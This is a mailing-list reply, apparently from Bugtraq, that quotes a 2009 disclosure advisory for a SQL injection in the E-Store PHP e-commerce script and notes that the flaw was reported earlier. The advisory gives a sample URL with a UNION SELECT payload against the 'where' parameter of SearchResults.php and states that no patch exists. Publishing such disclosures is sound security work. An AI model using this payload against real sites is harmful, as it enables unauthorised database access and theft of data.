Re: E-Store SQL Injection Vulnerability

[Packet Storm <bugtraq@xxxxxxxxxxxxxxxxxxxxxxx>]

Previously discovered:

http://packetstormsecurity.org/0812-exploits/estore-sql.txt 
856a5dc9cba52e892cbb54bd2e1a0a82 getaphpsite e-store suffers from a remote SQL 
injection vulnerability in SearchResults.php. Authored By <a 
href="mailto:trt-turk[at]hotmail.com";>ZoRLu</a>

On Fri, Dec 11, 2009 at 05:50:54AM +0100, Salvatore Fresta aka Drosophila wrote:
> E-Store SQL Injection Vulnerability
> 
>  Name              E-Store
>  Vendor            http://www.getaphpsite.com
> 
>  Author            Salvatore Fresta aka Drosophila
>  Website           http://www.salvatorefresta.net
>  Contact           salvatorefresta [at] gmail [dot] com
>  Date              2009-09-03
> 
> X. INDEX
> 
>  I.    ABOUT THE APPLICATION
>  II.   DESCRIPTION
>  III.  ANALYSIS
>  IV.   SAMPLE CODE
>  V.    FIX
>  VI.   DISCLOSURE TIMELINE
> 
> 
> I. ABOUT THE APPLICATION
> 
> E-Store is a commercial PHP e-commerce.
> 
> 
> II. DESCRIPTION
> 
> This application presents a SQL Injection bug.
> 
> 
> III. ANALYSIS
> 
> Summary:
> 
>  A) SQL Injection
> 
> A) SQL Injection
> 
> The GET where parameter  passed to SearchResults.php has not
> properly sanitised. Because of the affected query, the Magic
> Quotes GPC flag (php.in) may be on.
> 
> 
> IV. SAMPLE CODE
> 
> http://site/path/SearchResults.php?SearchTerm=&where=ItemName UNION
> ALL SELECT 
> 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16%23&ord1=ItemName&ord2=asc&search1=Go!
> 
> 
> V. FIX
> 
> No patch.